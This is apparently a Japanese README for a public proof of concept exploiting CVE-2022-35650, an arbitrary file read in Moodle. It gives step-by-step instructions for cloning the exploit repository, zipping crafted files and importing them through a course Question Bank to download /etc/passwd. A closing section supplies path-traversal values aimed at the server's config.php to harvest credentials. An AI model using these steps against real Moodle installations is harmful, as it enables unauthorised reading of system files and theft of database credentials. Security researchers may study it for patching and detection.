CVE-2022-35650

これはMoodleにおける任意のファイル読み取りです。

前提条件

教師または管理者レベルのユーザーを侵害している必要があります。

手順

1. このリポジトリをクローンします:

git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git

2. 次のコマンドでエクスプロイトをzipに圧縮します

zip exploit.zip imsmanifest.xml pool.dat

3. 自分のアカウントに書き込みアクセス権があるコースに移動します。
4. 「Question Bank」に移動します。
5. ドロップダウンから「import」を選択します。
6. フォーマットとして「blackboard」を選択します。
7. ステップ2の「exploit.zip」をアップロードします。
8. アップロードを確認します。
9. リストに表示された問題の「edit」ボタンをクリックします。
10. 壊れたimgタグを選択します。
11. ポップアップからソースを選択します。
12. ソースを参照すると、ファイル（__passwd）がダウンロードされることに注意してください。
13. そのファイルは/etc/passwdの内容です。

PoCを超えて

設定ファイル（お宝の認証情報付き）を読みたい場合は、imsmanifest.xml内のbaseurlを次のように設定します:

../../../../../../../../../../../var/www/html

そして、pool.dat内のimg srcを次のように設定します:

muc/config.php